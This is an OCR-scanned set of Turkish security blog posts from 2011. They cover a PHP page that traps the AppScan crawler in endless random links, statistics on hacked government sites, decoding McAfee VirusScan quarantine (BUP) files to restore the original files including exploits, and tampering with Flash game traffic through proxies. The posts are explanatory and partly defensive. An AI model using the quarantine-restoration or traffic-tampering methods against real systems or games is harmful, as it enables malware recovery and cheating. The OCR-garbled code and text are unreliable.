bir web sunucusu kurmam gerekiyordu ve se¢cimimi WAMP'tan yana kullandim. Daha sonra demo siiriimii ile bu web sunucusunu
tarayabilecek meshur ticari bir tarama araci aramaya bagladim. Eskiden web uygulamasi giivenlik tarayicisi denilince akla ya HP
firmasinin satin aldig1 Spi Dynamics firmasinin Webinspect iiriinii ya da IBM firmasinin satin aldigi Watchfire firmasimin Appscan tiriinii
gelirdi. Her ne kadar HP satin alana dek Webinspect'in hayrani olsam da bu senaryoda IBM'in Appscan demo iiriiniinii kullanmaya
karar verdim.

Bagka bir sanal makineye Appscan iiriiniinii kurduktan sonra diger sanal makinemde kurulu olan web sunucusunu tarayabilmek i¢in
ufak bir numara ile http://demo.testfire.net sitesini taranacak sanal makinemin ip adresine yonlendirdim ve zorlagtirma yontemi {izerine
diisiinmeye bagladim. (Webinspect ve Appscan araglarinin demo siiriimleri ile sadece kendi demo sitelerini (Appscan igin http://
demo.testfire.net web adresi, Webinspect i¢in http://zero.webappsecurity.com web adresi) tarayabilmektesiniz.)

Penetrasyon testlerinde karsilasmak istemeyeceginiz durumlardan biri uzun siiren taramanin tamamlanmasina yakin tarama aracinin
gbemesi bir digeri ise taranan sitenin ¢ok biiyiik olmasi ve isteklere ge¢ yanit veriyor olmasi nedeniyle taramanin saatlerce stirmesidir.
Korsanlar ve script kiddieler genellikle sabirsiz insanlardir bu nedenle hedefe bir an dnce sizmak icin en kestirme, en hizli yolu
secmektedirler. Bunu g6z 6nilinde bulundurarak tarama aracinin 10 dakikada tarayabilecegi bir siteyi ufak bir numara ile saatler icinde
taramasin1 saglayabilmenin script kiddie'yi bezdirebilecegi diisiincesiyle Appscan'i biraz etiit etmeye basladim.

Appscan calisma prensibi geregi hedef web sitesini taramaya baslamadan Once site iizerinde kesfe ¢ikmakta ve sitenin haritasini
¢ikarmaktadir. Kesif asamasi tamamlandiktan hemen sonra tarama iglemine gegmekte ve bu asamada yeni bir baglanti adresi (link) ile
karsilagsmasi durumunda bu adresi otomatik olarak taranacaklar listesine dahil etmektedir. Durum bdyle olunca acaba bir web sayfasi
hazirlasam ve bu sayfa her ziyaret edildiginde rastgele baglanti adresi iiretiyor olsa, bu sayfay1 ziyaret eden Appscan yeni baglanti adresi
->tara -> yeni baglanti adresi -> tara seklinde sonsuz bir dongiiye girer mi sorusuna yanit aramaya bagladim.
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Bunun i¢in dncelikle httpd.conf iizerinde 6zel bir hata sayfasi olugturdum (missing.php) ki bulamadig1 her sayfa i¢in otomatik olarak
missing.php sayfasina yonlendirilsin ve bu sayfada iiretilen rastgele 100 baglanti adresi sayesinde sonsuz dongiiye girebildin. Bir kag
deneme sonucunda Appscan'i dongiiye (sonsuz olabilir) sokan sayfayi olugturdum ve muradima erdim.

httpd.conf iizerinde 6zel hata sayfasi belirtme:

B nttpd.conf - WordPad
Fle Edt View [nsert Format Help
DEd SR A d @ B

# The mod _mime magic module allows the server to use various hints from the A
# contents of the file itself to determine its type. The MIMENagicFile
# directive tells the module where the hint definitions are located.

#

#NINEMagicFile conf/magic

#

# Customizable error responses come in three flavors:

# 1) plain text 2) local redirects 3) external redirects

L]

# Some examples:

#ErrorDocument 500 "The server made a boo boo.”

E 404 1

#ErrorDocument 404 "/cgi-bin/missing handler.pl®

#ErrorDocument 402 http://localhost/subscription info.html

L]

#

# EnableMMAP and EnableSendfile: On systems that support it,

# memory-mapping or the sendfile syscall is used to deliver

# files. This usually improves server performance, but must

# be turned off when serving from networked-mounted

# filesystems or if support for these functions is otherwise

# broken on your system.

#

#EnableMNAP off

#EnableSendfile off

# Supplemental configuration

#

# The configuration files in the conf/extra/ directory can be

# included to add extra features or to modify the default configuration of
# the server, or you may simply copy their contents here and change as
# necessary.

# Server-pool management (MPH specific)

#Include conf/extra/httpd-mpm.conf

# Multi-language error o

#Include cont/extra/httpd-multilang-errordoc.cont

# Fancy directory listings

Include conf/extra/httpd-autoindex.cont

# Language settings

#Include conf/extra/httpd-languages.cont

# User home directories

#Include cont/extra/httpd-userdir.conf

# Real-time info on requests and configuration

#Include cont/extra/httod-info.conf &

For Help, press F1

Olusturdugum web sayfalart:

B index.php - WordPad

Edit Miew Ir Format

el S M °

<!——= Magic Loop Initiator —-->
<titlerhttp://wuw.mertsarica.com</title>
<a href="missing.php"></a>

For Help, press F1

File Edit Yiew Insert Format Help

LEd S #4 @ 8o B

<!=— Magic Loop Begins —--»

<!-- Invalid File --»

<!l-— g3pript type="text/javascript™ src="js/loop.js"r</script> —-->
<?php

fdata = "";

for ($i=0; $i<50; $i++) |
$rand = preg replace("/([0-9])/e", "chr((%41+112) )", rand(1000,99995999999) ) ;

jdata = frand . "/" . frand . ".js";
echo ("<script type=\"text/javascript\™ src=\"js/™ . fdata . "\V"><fscript>"):
jdata = $rand . "/" . §rand . ".html";

echo [("<a href=h"§idata’ "">|-<,-"a>"];
echo [("<hr Yh\2>");

}

T

<l-— Magic Loop Ends —--3>

Far Help, press F1
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Normal sartlarda 2 dakikada taranabilen bir sayfa, 46. dakika sonunda halen taranmaya ve ziyaret edilecek URL (resimde sol alt koseye
dikkat) sayis1 artmaya devam ediyor. (dongii):

@ Untitled - IBM Rational AppScan

Fle Edt Yew Scan Tooks Help
o O Pause = |=-| Scan Log - s Analyze JavaScript
SCANMING... Phase 1

4 ( ]
Exploting. hitp://demo testfire net/vwasiipg/i /apavegL is 2342
Url Based ~ Asranged By: Severity Descending

ﬁzs\nﬁc&m £} Secunty lssues: There are no results to show
= hitp://dema testire. nat/

FHERHEEFERAEEREEER R

6 lssue Information | iy Advisory | @ Fix Recommendation | #® Request/Response

Visited URLs 2194391 Completed Tests 0/5441 () OSecurtylssue: @0 WO D0 @O
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@ Untitled - IBM Rational AppScan CFK

Fle Edt Yew 3Scan Tooks Help
O Pause = =] 5canLog 4 Analyze JavaScript

SCANMING... Phase 1

Exploting: hitp://dema testfine. net/fjs/ruvplpsyw/ruvptpsyw. js 4655

Url Based - Arranged By Severity Descending
Q A | B Secunty Issues: There are no results to show
= &y hitp://dema testire net/
A/
& index.php
& missing php
=0 i
Ly
= LJ apgubcswyu
Nl
SR
A/
L gpunwWUSYY
J apvyqvipuq
) apervapy
) qpygvivwesg
<) gaawpvgiug
) qqquuberwg
) agEgsxwsy
) qasytpuwa
) qawwtrvpug
) Oopastwassr
) Qautsrvwncy
J arprgpyrt
) qubiartuw
) msuvwqugy
J 1¥qapaueg
) spaywryy
+ I sqgsyviuv
+ 10 tpusstvpsw
# 1D torptswss
# 177) tstatnen
w Dashboard 1=s »o

R R R R R R ER R

i lssue Information | gy Advisory @ Fix Recommendation | +® Request/Response

otal number of issues: 0

Visited URLs 2/330358 Completed Tests 0/5441 £ 0Security Issuss 90 Yo Ho @o

Benzer sorun diger ticari web uygulamasi giivenlik tarayicilarinda var mi diyerek Netsparker ve Acunetix araglarina baktigimda bunun
Appscan'e 6zgii bir sorun oldugu ve bunun yaninda baska bir sorun daha dikkatimi ¢ekti. Misal ekran goriintiilerinde yer alan JS
klasdriiniin aslinda gegerli, var olan bir klasér olmamasina ragmen Appscan ve Acunetix araglar1 Netsparker'in aksine site haritalarina
var olmayan klasorleri ekleyerek goriintii kirliligi yaratmakta ve site haritasinin kullanimini zorlastirmaktalar.

Sonug olarak sitenizin bu tiir otomatik araglar ile taranmasindan rahatsiz oluyorsaniz bu araglari inceleyerek zayif noktalarini kesfedebilir
ve site kesfini zorlagtiracak basit numaralara ile script kiddie'leri canlarindan bezdirebilirsiniz :)

Bir sonraki yazida goriismek dilegiyle herkese iyi haftasonlar: dilerim...

Not: Uretilen baglant1 adreslerine benim yaptigim gibi isim (link text) vermez iseniz kullanicilarn yanlislikla bu baglant: adreslerine
tiklamasini engelleyebilirsiniz.

Devlet’in Sitesi Deniz...

Source: https://www.mertsarica.com/devletin-sitesi-deniz/
By M.S on February 20th, 2011

=

Bilenleriniz bilirler, gectigimiz ay Bilgi Teknolojileri ve iletisim Kurumu (BTK) ve TUBITAK'm, kurum ve kuruluslarm bilgi
sistemlerine yonelik siber saldirilara karst savunma giiciinii tespit etmek icin "Ulusal Siber Giivenlik Tatbikat" diizenledi ve 4
giin boyunca siiren bu tatbikatta, BTK ve TUBITAK tarafindan olusturulan ekip, 41 kamu ve 6zel sektoér kurum/kurulusunun bilgi
sistemlerine gercek saldirilar diizenledi.

Bir yanda ulusal siber giivenlik tatbikati diizenlene dursun diger yanda vatandaglarimizin her giin ziyaret ettigi ve bilgi paylasiminda
bulundugu, honeypot gibi kurulan ve yonetilen onlarca devlet sitesi art niyetli kisiler tarafindan gercek saldirilara maruz kalmakta ve
bu siteler/sistemler iizerinde saklanan veriler art niyetli kisilerin eline gegmektedir.

Diinya genelinde hack edilen sitelerin arsivini (kendilerine bildirilmesi kaydiyla) tutan Zone-H sitesine goz atacak olursaniz kimi zaman
giinde onlarca gov.tr uzantili devlet sitemizin hack edildigini gorebilirsiniz. Zaman zaman bu siteye gbz atan biri olarak gectigimiz ay
Enerji ve Tabii Kaynaklar Bakanligi'na ait olan www.enerji.gov.tr sitesinin yonetici panelinin hack edildigine dair bir girig gérdiim ve
duyarli bir vatandas olarak 24 Ocak tarihinde hemen TR-BOME ekibine (bilgisayar olaylarina miidahale ekibi) web siteleri {izerinden
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https://www.mertsarica.com/devletin-sitesi-deniz/
https://www.mertsarica.com/devletin-sitesi-deniz/
http://www.zone-h.org/archive/special=1
http://www.enerji.gov.tr
http://www.zone-h.org/mirror/id/12954592
https://www.bilgiguvenligi.gov.tr/cert/index.php

durumu bildirdim. Olaymn en kisa siirede ¢6ziilmesi i¢in Enerji ve Tabii Kaynaklar Bakanligi ile iletisime ge¢mek yerine TR-BOME
ile iletisime ge¢meyi tercih etmeme ragmen halen ydnetici panelinin internete agik ve erisilebilir olmasinin bir vatandas olarak beni
iizdiigiini sdylemek isterim.

Zone-H sitesi lizerinden elde ettigim bilgiler 15181inda, hack edilen devlet sitelerimiz ile ilgili istatistiki bilgileri bir araya getirecek
olursam;

* 10/03/2010 - 16/02/2011, Zone-H'e bildirilmis hack edilen devlet sitelerinin say1s1 1250.

¢ 2010 yilmin Mart ayinda 50, Nisan ayinda 72, Mayis ayinda 396, Haziran ayinda 67, Temmuz ayinda 86, Agustoz ayinda 77,
Eyliil ayinda 118, Ekim ayinda 72, Kasim ayinda 59, Aralik ayinda 85 devlet sitesi hack edilmis.

¢ 2011 yilmin Ocak ayinda 88 ve Subat aymin yarisinda ise 80 devlet sitesi hack edilmis.

e Hack edilen 1250 devlet sitesinden 536 tanesi Linux, 320 tanesi Windows 2003, 333 tanesi Windows 2008, 31 tanesi Windows
2000, 7 tanesi Unix isletim sistemi {izerinde barindiriliyormus.

Boyle vahim bir tablo karsisinda devletin kendi kaynaklari ile (Tiibitak) sitelerini i¢ ve dis tehditlere karst acil olarak denetlemesi
gerekirken gectigimiz ay Bankacilik Diizenleme ve Denetleme Kurumu (BDDK), 49 bankadan Tiibitak'a 6 ay icinde sizma testi
yaptirmasini talep etti. Bir yanda honeypot haline gelmis devlet sitelerinin i¢ler acis1 hali diger bir yanda giivenlik kontrollerinin ¢ok siki
oldugu ve senede bir ¢ok defa i¢ ve dis giivenlik denetimlerinden gegen bankalarin ilave olarak devlet kaynaklari ile de denetlenmesi,
yorumu sizlere birakiyorum...

Bir sonraki yazida goriismek dilegiyle...

Virusscan BUP Restore Utility

Source: https://www.mertsarica.com/virusscan-bup-restore-utility/
By M.S on February 12th, 2011

=3,

Bana gore korsanlarin (konumuz her zamanki gibi etik olanlar) bagarili olabilmeleri i¢in yiiksek hayal giicline ve yaratic1 zekaya sahip
olmalar1 gerekmektedir. Karsilagtiklar: engelleri asmak ve basartya ulasmak igin iiretecekleri senaryolar hayal giicleri ile, bu senaryolari
hayata gecirmeleri ise yaraticiliklari ile miimkiin olabilmektedir. Nedense hayal giicii ile zafiyet kesfetme becerisini, yaraticilik ile ise
programlama becerisini ortiistiirmiisiimdiir ve bu yiizden etik bir korsan olarak bu becerilerimi gelistirmek i¢in zaman zaman senaryolar
iireti zaman zamanda karsima ¢ikan firsatlar1 degerlendirmeye calisirim.

Yine giinlerden bir giin, siipheli bir duruma kars1 kullanicilardan gelen antivirus alarmlarina g6z atarken kullanicilardan gelen fazla
sayida alarm dikkatimi ¢ekti. Zararl yazilim analizinden oldukga keyif alan kahramanimiz Mert, firsat bu firsat Jedi duyular ile hareket
ederek alarmlarin kaynagini aramaya koyuldu ve alarmlarin arkasinda bu kullanicilarin ortak olarak ziyaret ettigi bir web sitesi oldugu
anlasildi. Web sitesini ziyaret eden kahramanimizin antivirus programi da ayni alarmi verince dosya iizerinde detayli bir analiz yaptiktan
durumun yanlis alarmdan (false positive) ibaret oldugunu anladi ve adli bilisim analizi yapma hevesi kursaginda kaldi.

Peki ya durum biraz daha farkli olsaydi. Kahramanimizin kullandig1 antivirus yazilimi1 Mcafee Virusscan olsayd: ve Virusscan tespit
ettigi zararl yazilimlar1 karantinaya aliyor olsayd1 ayrica kahramanimizin antivirus {izerindeki yetkileri (dosyay: karantinadan ¢ikarma
yetkisi) kisitli olsaydi bu durumda ne yapmasi gerekirdi ?

Antivirus sistemini yoneten kisiden ilgili dosyay1 restore etmesini ve analiz i¢in kendisine iletmesini talep edebilir (e-posta ve telefon
trafigi) veya sanal makine igindeki isletim sistemine Virusscan kurabilir ve onun iizerinde restore edebilir (6lme esegim 6lme) veya
karantina mekanizmasinin nasil ¢aligtigini tersine mithendislik ile ¢dzerek bunu otomatize hale getiren bir ara¢ hazirlayabilir (bildigim
karariyla piyasada boyle bir ara¢ yok veya ben aradigim zaman yoktu) ve yeri geldiginde bunu adli bilisim analizlerinde kullanilabilirdi.
(hedef diskten karantinaya alinmig dosyalari kopyalamak ve incelemek size giizel ipuglar1 verebilir sayet analize elverigli bigimde diskle
saklanmis ise)

Karantina igleminin nasil yapildigindan kisaca bahsedece olursak, Virusscan, karantinaya aldigi dosyayr C:\QUARANTINE klasoriine
farkli bir ad altinda kopyalamakta ve uzanti olarak BUP kullanmaktadir. (Ornek: 7db11a1031283¢50.bup). Karantinaya aliman
bir dosyayr herhangi bir hex editorii ile inceleyecek olursaniz icerigin ve dosya boyutunun orjinalinden farkli oldugunu, anlamh
karakterlerden olusan diziler (string) ortadan kaybolmus oldugunu gorebilirsiniz.
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https://www.bilgiguvenligi.gov.tr/report-incident/index.php
http://www.bddk.org.tr/WebSitesi/default.aspx
http://comments.gmane.org/gmane.comp.security.netsec/7062 
https://www.mertsarica.com/virusscan-bup-restore-utility/
https://www.mertsarica.com/virusscan-bup-restore-utility/

B QUARANTINE

Qeck - ©  (F Osewch [ rotes [T

Address |23 CAQUARANTINE

Size ~ Type Diate Modified
3.406 KB BUP Fie 04.02.2011 01:48 oy
3KB BUPFie 05.02.2011 14:57 sctuidecdiutly
H1KB EUP File 05.02.2011 1457 | [ pogcy | Manager
IKB BUPFie s.0z2011 1457 | "
4¥B BUP File 05.02.2011 1458 These items were backed up before they were cleaned or deleted by the on-access
11EB BUP File 05.02.2011 14:58 o on-demand scanner. Fight-chick. an item to access advanced oplions. You can
take action on each item to rescan, check for false positive, restare, delete, o view
4KB BUP File 05.02.2011 14:58 i i
3KB BUP Fie 05.02.2011 14:58
BKE BUP Fie 05.02.2011 14:58 Time Quarantined Detection Type  Detected as Mumbes of obye..  DAT Version Enge &
| 6KB BUP Fle 05.02.2011 14:58 05.02 2011 1458 Trojan Ewplot- CVE2010-0094 1 6247 0000 5400
Other Places : 2 4KB BUP Fie 05.02.2011 14:58 05.02.2011 14:58 Trojan Explot-CVE2010-0034 1 5247.0000 5400,
) IKB BUPFie 05.02.2011 14:58 050220111458  Tiojan Explot CVE2010-0034 1 £247.0000 5400
Loeal Disk (1) ; 05.02 2011 1458 Tiojan Genenc dduvs 1 6247 0000 5400
- ) . €1 BLPFl 05.02.2011 14:58 05.02.2011 1458 Trojen Generic BackDoorlesx 1 £247.0000 5400
() My Documents. | 6KB BUP Fie 05.02.2011 14:58 05.02 2011 1458 Trojan Genesic dduvs 1 6247,0000 5400
-~ Docimarts | 4KB BUP File 05.02.2011 14:58 05.02 2011 1458 Tiojan Genec BackDoorlcan 1 6247 0000 5400
l-as\“d 11KB BUP Fie 05.02.2011 14:58 05022011 1459 Trojan Genesic. ddtoa 1 62470000 5400
5 My Compuker i fpoplhen o 05208 i 050220111453 Trojen Genenic ddtoa 1 6247.0000 5400
& My Network Places e g 05.02 2011 1453 Trojan Genenc ddtoa 1 6247 0000 5400
. 70ID BLPFle 05.02.2011 14:58 05,02 2011 1459 Trojan Generic ddioa 1 £247.0000 5400
6IKB BUP Fie 05.02.2011 14:58 05.02 2011 1459 Trojan Ewplod CVE20085353 1 6247.0000 5400
T4OKE BUP File 05.02.2011 14:58 05.02.2011 1459 Trojan E wplost-B e esify 1 6247.0000 5400.
. 05.02 2011 1500 Trojan Ewplod CVE20085353 1 6247.0000 5400
::: 3: 2'32::::3 05.02 2011 1459 Trojan Genenc ddtfu 1 62470000 5400,
- ; 05.022011 1453 Tiojan Geneiic. didtw 1 6247 0000 5400
HLKE EUP Fle 05.02.2011 14:59 05,02 2011 1459 Y s Generic. dlty 1 6247.0000 5400
I1BKE  BUP File 05.02.2011 14:59 06.02 2011 1459 Trojan Genenc. dtws 1 6247,0000 5400
17KB BUP File 05.02.2011 14:59 05.022011 1453 Trojan Geneic ddsym 1 6247 0000 5400
7 02, v 05.02.2011 1500 Trojan E xplod-ByteV esily 1 6247.0000 5400
| SR e AN e 050220111500  Trojan Explot CVE2010.0094 1 62470000 S0
ai | b PRbEN L 05.02 2011 15:00 Trojan Ewplot-CVE2010-0084 1 6247.0000 5400
17K BUP Fie 05.02.2011 14:59
17KB BUP Fie 05.02.2011 14:59 * -
IKE BUPFle 05.02.2011 15:00
IKB BUPFie 05.02.2011 15:00
6KB BUPFie 05.02.2011 15:00 o J[ comced J[ ooy |[ neo |
6KB BUP File 05.02.2011 15:00
6KB BUP File 05.02.2011 15:00
GKB BUP File 05.02.2011 15:00

Hex Workshop
Ed B Edt Disk Optiors Tock Window feb -8
2SHAB L HWARAE I NABS OPD

ZAERN NEPAre @B

> 33 0123456789ABCDEF0123456789ABCDEF01
-~
00002414 3
00002448 2 v
B 7b25e3a10. |
x| = Z5e3a101
| m o] [13mstances of 'strings' found in 7db2Se3a1014e0.bup B aa)
Wsowdbie 48 - Address 1) | Length B | Length 1%
8Kl Unsigned Byte 208 00001024 20 14 Root Entry
1601 Signed Short  -12336 00001152 14 3 Detads
V6T Unsigned Short 53200 00001260 12 oc File_01
:izmm&w “535703600 00002455 8 o8 NotminkC
00002571 -3 19 cikiafiol” fijgfimjdkixBa
G4WT Signed Quad  -2226271756974174256 00002685 5 [ Thjel
54T Unsigned Quad  16220472316735377360 00002777 & 06 kiyBCh
32MT Fioat ~4.20273810-+019 00002812 & 06 migkly
G4HT Double -5.8639379e-+159 00002ES0 ) [ ki6BeE
54T DATE 00003037 6 06 kjBCR
1641 0OS Date: 00003103 5 oS kDB
16T DOIS Time 6 06 GBCE
S4BT FILETIME 00003869 4 40 Sl ki pii 1 skt
321 time t »
~ &IData [0 Viewer | " [y Compare i Checksum | 38 Find [ & Bookmarks | (&) Output |

Offset: 0 Walue: -12336 409 bytes

Karantina mekanizmasinin nasil ¢alistigini hizlica anlamaya calistigimda karantinaya alinan ve BUP uzantisi ile saklanan dosyanin j
(hex: 6A) karakteri ile XOR isleminden gecirildigini anlamam ¢ok zor olmadi.
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d, module mytilu_1]
IC] Fle wew Debug Plugins [mmlb Options Window Help Jobs - 2 X

ST x 1l lemtwhcoc|Pkbzr..

Show CPU <Alt+C> Running

) 7db25e3b302080, bup 6KB BUP File 05.02.2011 15:00

Hex Workshop ile karantinaya alinmis dosyay1 6A ile XOR isleminden gecirdikten sonra ortaya anlamli karakterler olusan diziler
cikiverdi.

5 - [& ]

C RASRS DPY YWe BH = @

2 o
3 El 0 FF i ~
00 oo 0 i} 00
0o oo o FF FF
FF FF F FF FF
FF FF F FF FF
TF FF FF F FF FF
FF FF FF F| - Desciption FF FF
FE FF FF F| Pesforms 2 <0R operation For example, the value 00 FF FF
FF FF FF F waty] XOR OxAA (10101010 in binary] is (eG4 FF FF
FF FF 3 19 ininans FF FF FF
FF FF FF F Dperand FF FF
FF FF FF o ] FE FF
FF FF FF F|  TrestDatahs |CITIIIENISENCN ~ FF FF FF
FE_EF FE FF Fl | ByeOidering Cancel FF FF FF v
Vahse: |64 Help
Decmal * Hex )
Apply O
poly On Length &
* Enbre Fie
& Data Inspector |{]5;..‘.. fure Viewer Hycompare Wl Checksum ) Fing | 4y Bookmarks £ output
Ready Offset: D Value: -12336 4096 bytes
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H Hex Workshop - [ 7db25e3a1014e0.bup] [
2 B Eot Dsk Options Took window belp -8 %
28H2d | 4naaE 9¢ naBe o) %% (BI5 & @=m « » w

AERE NEAE @B

8 9 10 11 12 13 1 16 17 1 21 22 : 24 ¢ 26 27 28 2 30 31 33 D1234567892 Fo12 01
OA 45 BE 67 69 6E 65 4D 61 6A 6F 72 3D 35 34 30 30 0D OA 45 6E 67 69 6E 65 4D 69 BE 6F pe=1..EngineMajor=5400..EngineMino =«
38 0D OA 44 41 54 4D 61 6A 6F 72 3D 36 32 34 37 0D OA 44 41 S4 4D 69 6E 6F 72 3D 30 0D r=1158..DATMajor=6247..DATMinor=-0.
79 70 65 3D 32 0D OA S0 72 €F 64 75 63 74 49 44 3D 31 32 30 36 30 OD OA 43 72 65 61 74 .DATType=2..ProductID=12060..Creat
61 72 3D 32 30 31 31 OD OA 43 72 65 61 74 69 6F 6E 4D 6F 6E 74 68 3D 32 0D OA 43 72 65 ionYear=2011..CreationMonth=2..Cre
44 61 79 3D 35 OD DA 43 72 65 61 74 69 6F 6E 48 6F 75 72 3D 31 34 OD OA 43 72 65 61 74 otionDay=5..CreationHour=14. .Creat
6E 75 74 €5 3D 35 38 0D OA 43 72 65 61 74 69 6F 6E 53 65 63 6F 6E 64 3D 31 36 0D OA 5S4 ionMinute=58..CreationSecond=16..T
6E 65 4E 61 6D 65 3D 45 2E 20 45 75 72 6F 70 65 20 53 74 61 6E 64 61 72 64 20 54 69 6D imeZoneName=E. Europe Standard Tim
6D 65 SA 6F BE 65 4F 66 66 73 65 74 3D 2D 31 32 30 0D OA 4E 75 6D 62 65 72 4F 66 46 69 e..TimeZoneOffset=-120. .NumberOfFi
OD OA 4E 75 6D 62 65 72 4F €6 56 61 6C 75 65 73 3D 30 OD OA OD OA 5B 46 69 6C 65 SF 30 les=1..NumberOfValues=0....[File_D
6A 65 63 74 54 79 70 65 3D 35 OD DA 4F CA FE BA BE 00 00 00 32 00 34 07 00 02 01 00 09 ]..0bjectType=5..0.......2.4......
69 74 24 32 07 00 04 01 00 29 6A 61 76 61 78 2F 6D 61 6E 61 67 65 6D 65 6E 74 2F 72 65 ExploitS2..... ) javax/management/re
72 6D 69 2F 52 4D 49 53 65 72 76 65 72 49 6D 70 6C 01 00 06 74 68 69 73 24 30 01 00 09 mote rmi-FMIServerImpl...thisS0...
6F 69 74 3B 01 00 06 3C 69 6E 69 74 3E 01 00 1B 28 4C 45 78 70 6C 6F 69 74 3B 4C 6A 61 LExploit:...<init>...(LExploit:Lja

456 780AE

69 6C 2F 4D 61 70 3B 29 56 01 00 04 43 6F 64 65 09 00 01 00 OB OC 00D OS5 00 06 OA OO0 03 vasutil/Map:I\V...Code............. »
—
ﬁ med'wmmmmw.m R R ] x
- Address 5 Length Eﬂ Length Ef L
00002050 9 -] [Detads]
16HT Signed Short  -23110 00002061 M z Detectionhame=E xplott-CVE2010-0094
16H Unsigned Short 42426 00002097 15 oF DetectionType=1
3 Signadlong  -1971608134 00002114 16 10 EngineMajor=S5400
3201 Unsigned Long 2323359162 00002132 16 10 EngineMinor=1158
S9N Signed Quad  -B39EIT16ITTITTTIONG 00002150 13 oo DATMajor=6247
S4BT Unsigned Quad  10047772435911779770 00002165 10 04 DATMNor=0
3200 Float -1.2116380-032 00002177 9 ] DATType=2
5901 Double -1.437158e-253 00002188 15 oF ProductDe=12060
E4HT DATE 00:00:00 30.12.18%9 00002205 17 1 CreationYear=2011
16M1 DOS Dabe 00002224 15 oF CreationMonth=2
15M1 DOS Time 20:45:52 00002241 13 0 CroabonDay=s o
S4HT FILETIME P e e o bl et 4
320 e ¢ - £ 2
" ¢ Data Inspector | { } structure viewer | y Compare | WL C 8 Fina | & [ output |
[Find Al Complete., Offset: 0 waloe: -23110 4096 brytes MOD

Orjinal dosya ile XOR isleminden gegirilmis dosyay1 karsilastirdigimda XOR'lanmis dosyanin ilk 2560 baytinda detayli bilgiler (orjinal
dosyanin adi, karantinaya alinma tarihi, virusun adi vs.) saklandigin1 gérdiim. Daha sonrasinda ise programin orjinali saklaniyordu.
(Tam olarak orjinali diyemiyorum ¢iinkii her 65536 baytta bir 512 bayt biiyiikliigiinde ¢p veri araya (junk) sokusturulmus ve bunlari
ayiklamam gerekti)

H Hex Workshop - P(
Ble Edt Dk Options Jook Window felp
2SHaA ({RAAE 20 NRABS BPD |[%UWs (BH & Q=i |mw e »mw

A HER NERE @B

B POISONZ. X LB &) recoverad file.exe.t

recoversd . PIJISIJNEEXE'
5 [ireet: 126976 [0X0001FO00]

16T Unsigned Short 40515

1M Signedlong  -4B1124797

32W Unsigned Long 3813842499

SN Signed Quad  -1798086581482774973
S48 Unsigned Quad  1664B657462226776643

328 Fioat 3.6852202e-+021

5907 Double -2.4290532e+160

ST DATE

T16HT DOS Dabe 03.02.2059

1501 DO Time 19:50:06

E4HTFILETIME

3200 tiene ¢ »

" sUpata inspector | { } Structure Viewer | " [y comp |&ic frnd & [ output |

Offset: 126976 ahoe! 25021 AZB3TS6 bytes

Hem detayli bilgileri gdsteren hem de karantinaya alinmis olan dosyayr orjinal haline ¢eviren bir program hazirlamak igin ise
koyuldugumda ortaya bup_recovery.py araci ¢ikti.
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INDOWS\system32\cmd.exe

OriginalMame=C:“MSF3“MSF3“EXTERNAL~SOURCENUNCDLLNOUTPUT™ . SUNNTEXT-BASE~UNCDLL . DL,
L. SUN-BASE

[#*] Restored successfully —» UNCDLL.DLL.SUN-BASE
C: \QUARANTINE>_

Program iki komut (restore ve view) ile ¢alistyor ve kullanimi yine ¢ok basit. {1k olarak yapmamz gereken karantinaya alinmis dosya ile
bup_recovery.py programini ayni klasore kopyalamaniz. Restore komutu ile hem detayli bilgileri gorebilir hem de karantinaya alinmis
programi orjinal haline ¢evirebilirsiniz. View komutu ile sadece detayli bilgileri gorebilirsiniz.

Ormnek: bup_recovery.py restore 7db11a1031283¢50.bup
Programi buradan indirebilirsiniz.
Bir sonraki yazida goriismek dilegiyle herkese iyi hafta sonlar1 dilerim.

Not: Zaman zaman senaryolarimda Mcafee antivirus yazilimina yer veriyor olmamin nedeni uzun yillarca kullanmig olmamdir bagka
bir nedeni yoktur :)

Hackerlarin Géziinden Flash Uygulamalari

Source: https://www.mertsarica.com/hackerlarin-gozunden-flash-uygulamalari/
By M.S on January 30th, 2011

=3,

Ah o Netsec etkinliginde bende olsaydim deyipte katilamayanlar i¢in yapmis oldugum sunumu kisaca yaziya dokmeye karar verdim.

On bilgi olarak Flash kisaca web sayfalaria animasyon, video ve etkilesim eklemek amaciyla kullanilan ve Actionscript adinda nesne
yonelimli (object oriented) programlama dili igeren bir multimedya platformudur. Flash uygulamalarina ¢cogunlukla reklamlarda ve
oyunlarda rastlariz. Flash dosyalar1 cogunlukla SWF (ShockWave Flash) formatinda olur ve aslinda bir sanal makine olan Flash oynaticisi
tarafindan galistirilir. Flash oynaticisinin bir sanal makine olmasi sayesinde SWF formatindaki bu dosyalar her platformda calistirilabilir.
Durum boyle olunca Java'da da oldugu gibi SWF formatindaki bir dosya kolaylikla baytkoddan (bytecode) kaynak koduna ¢evrilebilir
(decompile). Actionscript, ilk olarak animasyonlar1 kontrol etmek i¢in tasarlanmigtir fakat gelistirilen yeni siiriimleri ile web tabanl
oyunlardan goriintii ve ses yayini yapmaya imkan taniyan zengin internet uygulamalart gelistirilebilmesine imkan tanimaktadir ve
Javascript ile ayn1 kodlama imlasina (syntax) sahiptir. Actionscript'in 2. siiriimii, Flash oynatic1 8 ve dncesi siiriimlerde, 3. siiriimii ise
9 ve sonrasi siiriimlerde ¢aligmaktadir.

Aralik 2010 yilinda Millward Brown tarafindan gerceklestirilen ankete gére Adobe Flash oynaticisi, internet erisimi olan bilgisayarlarin
%99'unda yiikliiymiis. Anket bir yana zaten giin i¢cinde gezdigimiz sitelerin igerigine biraz daha dikkat edecek olursak cogunda Flash
ile gelistirilmis bir kisim oldugunu gorebiliriz. Web uygulama giivenliginde ¢ogunlukla Flash uygulama giivenligi goz ardi edilmekte
ve art niyetli kisilerin hedefi haline gelebilmektedir.

Ornek olarak Flash ile gelistirilmis oyunlari ele alarak art niyetli kisilerin cogunlukla yogunlastig1 noktalara kisa gz atalim;

* Flash oynatici ile sunucu arasinda gergeklesen trafigin manipiile edilmesi: Ozellikle Flash ile gelistirilmis olan oyunlarda istemci
tarafina glivenilerek kontrollerin istemci tarafinda gergeklestirilmesi saglanmakta ve istemci tarafinda islenen veri sorgusuz sualsiz
sunucu tarafinda isleme alinmaktadir. Durum boyle oluncada &diillii oyunlarda ve yarismalarda bu durumu istismar eden hileciler
ortaya ¢ikmakta ve haksiz kazang saglamaktadirlar. Ornek olarak asagidaki ekran goriintiisiinde yer alan oyunu inceleyecek
olursaniz sunucudan istemci tarafina sorulara ilave olarak yanitlarin da gonderildigini gorebilirsiniz. Bu trafigi gorebilmek ve
gerekirse manipiile edebilmek i¢in yapmaniz gereken Burp, Paros ve benzer proxy araglari ile internet tarayicisi ile sunucusu
arasina girmektir.
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) pass.swi (application/x-shockwawve-flash Objec

